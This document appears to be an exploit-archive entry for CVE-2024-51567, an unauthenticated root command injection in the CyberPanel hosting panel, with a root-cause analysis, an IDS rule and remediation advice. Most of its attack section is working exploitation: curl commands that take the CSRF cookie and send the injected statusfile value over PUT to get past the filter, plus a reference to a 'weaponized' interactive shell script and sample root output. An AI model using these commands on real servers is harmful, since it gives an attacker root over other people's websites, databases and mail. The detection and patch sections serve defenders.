CyberPanel upgrademysqlstatus Unauthenticated Command Injection - CVE-2024-51567
Published: 2026-11-27 • Researcher: Ajay Alfredo Almani (ajayalf, repo author); vulnerability research by Dreyand
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2024-11-07. Federal remediation deadline 2024-11-28.
EPSS 60.6% · 99th percentile
- Severity
- Critical
- CVE
- CVE-2024-51567
- Category
- web
- Affected product
- CyberPanel (Cyber Panel)
- Affected versions
- All versions before 2.3.8, including 2.3.6 and the unpatched 2.3.7; fixed by commit 5b08cd6
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-51567
- https://github.com/ajayalf/CVE-2024-51567
- https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
- https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515
- https://cyberpanel.net/KnowledgeBase/home/change-logs/
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2024-11-01 |
| Author / Researcher | Ajay Alfredo Almani (ajayalf, repo author); vulnerability research by Dreyand |
| CVE / Advisory | CVE-2024-51567 |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (CVSSv3.1) |
| Status | Weaponized |
| Tags | command injection, CyberPanel, unauthenticated, RCE, root, Django, middleware bypass, CISA KEV, PSAUX, hosting panel |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | CyberPanel (Cyber Panel) |
| Versions Affected | All versions before 2.3.8, including 2.3.6 and the unpatched 2.3.7; fixed by commit 5b08cd6 |
| Language / Platform | Python / Django on Linux (AlmaLinux, Ubuntu, Debian); management panel on TCP 8090 |
| Authentication Required | No |
| Network Access Required | Yes (panel web interface reachable) |
Summary
CVE-2024-51567 is an unauthenticated command injection in CyberPanel 2.3.6 and 2.3.7. The upgrademysqlstatus view in databases/views.py takes the statusfile value from the JSON request body and concatenates it into a sudo cat shell command, with no authentication check on the route. A security middleware is supposed to filter shell metacharacters, but it only inspects POST requests, so sending the same JSON body with PUT, OPTIONS or PATCH bypasses the filter while Django still parses the body. Because the injected command runs through sudo, exploitation yields root command execution on the panel server, and the flaw was mass-exploited by PSAUX in October 2024.
Vulnerability Details
Root Cause
The upgrademysqlstatus controller in databases/views.py lacks the per-route authentication checks used elsewhere in the project. It reads statusfile from json.loads(request.body) and passes it to ProcessUtilities.outputExecutioner(“sudo cat " + statusfile), which executes the string through a shell. The secMiddleware protection only runs its character blacklist when request.method equals POST; since Django exposes request.body regardless of the HTTP verb, a PUT request reaches the same controller with the same JSON payload but without filtering. Shell metacharacters in statusfile therefore execute as root. A second bypass in the same middleware is that it only inspects list values, not plain strings, but the method confusion is the primary issue.
Attack Vector
An unauthenticated HTTP PUT to /dataBases/upgrademysqlstatus with a Referer header, the csrftoken value sent in the X-CSRFToken header (the token is issued as a cookie by GET /), and a JSON body whose statusfile value begins with /dev/null and continues with a shell command, for example: {“statusfile”:"/dev/null; id; #”,“csrftoken”:"
Impact
Arbitrary command execution as root on the CyberPanel host, and therefore full compromise of the panel and every website, database, mailbox and SSH account it manages. PSAUX used this vulnerability in October 2024 to mass-compromise panels, delete or ransom data, and disable services; the CVE is in the CISA KEV catalog.
Environment / Lab Setup
OS: Linux server (AlmaLinux 8/9, Ubuntu 22.04 or Debian) with CyberPanel 2.3.6 or 2.3.7
Target: CyberPanel management interface, https://TARGET:8090 (self-signed certificate is normal)
Attacker: Linux or macOS with Python 3 and httpx
Tools: Python 3, httpx; curl for manual verificationSetup Steps
| |
A local reproduction can use an official CyberPanel 2.3.6 installer or a matching container/VM snapshot; no vulnerable image is shipped with this entry.
Proof of Concept
Step-by-Step Reproduction
Fetch the CSRF cookie - Request the panel root. CyberPanel sets a csrftoken cookie even for unauthenticated visitors.
Shell script1curl -k -s -c cookies.txt https://TARGET:8090/Send the injection with a non-POST verb - PUT carries the JSON body past the POST-only middleware.
Shell script1 2 3 4 5TOKEN=$(awk '$6=="csrftoken"{print $7}' cookies.txt) curl -k -s -X PUT "https://TARGET:8090/dataBases/upgrademysqlstatus" \ -H "X-CSRFToken: $TOKEN" -H "Content-Type: application/json" \ -H "Referer: https://TARGET:8090/" \ --data '{"statusfile":"/dev/null; id; #","csrftoken":"'$TOKEN'"}'Use the interactive script - The upstream tool automates the token retrieval and verb confusion, then runs a command loop.
Shell script1 2python CVE-2024-51567.py http://TARGET:8090 # then: id
Exploit Code
See
CVE-2024-51567.pyin this folder.
| |
The command output is returned inside the requestStatus field of the JSON response, because the controller returns the captured output of the sudo cat pipeline.
Expected Output
$> id
uid=0(root) gid=0(root) groups=0(root)
$> uname -a
Linux panel 5.14.0-... #1 SMP ... x86_64 GNU/LinuxThe tool prints the requestStatus value verbatim, so multi-line command output may be JSON-escaped or truncated by the terminal.
Detection & Indicators of Compromise
PUT /dataBases/upgrademysqlstatus HTTP/1.1
X-CSRFToken: <token>
{"statusfile":"/dev/null; id; #","csrftoken":"<token>"}SIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2024-51567 CyberPanel upgrademysqlstatus command injection"; flow:to_server,established; content:"PUT"; http_method; content:"/dataBases/upgrademysqlstatus"; http_uri; content:"statusfile"; http_client_body; content:"/dev/null"; http_client_body; reference:cve,2024-51567; sid:9000157;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to CyberPanel 2.3.8 or apply commit 5b08cd6d53f4dbc2107ad9f555122ce8b0996515, which adds authentication checks and fixes the middleware method handling. |
| Workaround | Restrict access to port 8090 to trusted administrators, block non-POST requests to /dataBases/ at the reverse proxy or WAF, and keep the panel off the public internet. |
| Config Hardening | Review accounts and SSH keys for unauthorized additions, rotate panel and database credentials, audit cron and systemd units for persistence, verify website files for webshells, and keep the panel’s upstream security middleware current. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/ajayalf/CVE-2024-51567 (stars 5, forks 1, Python).
Review verdict: ingested. This is a genuine exploitation tool rather than a version or header checker: it retrieves the real CSRF cookie, sends a PUT with a statusfile value that terminates the sudo cat command and executes the operator’s command, and returns the command output from the requestStatus field. It matches the public Dreyand research and the in-the-wild PSAUX exploitation pattern.
License: no LICENSE file exists in the upstream repository and no license is stated in its README; copyright remains with the upstream author. Source attribution is kept here and the copied script carries an archive header.
Limitations: targets the 2.3.6/2.3.7 code path and fixed hosts will reject the request; a csrftoken cookie from the panel root is required; the script is interactive and has no non-interactive command flag; output formatting depends on the JSON requestStatus field and may be escaped; only single-target or file-based sequential execution is supported. No exploit code was executed during preparation of this entry.
| |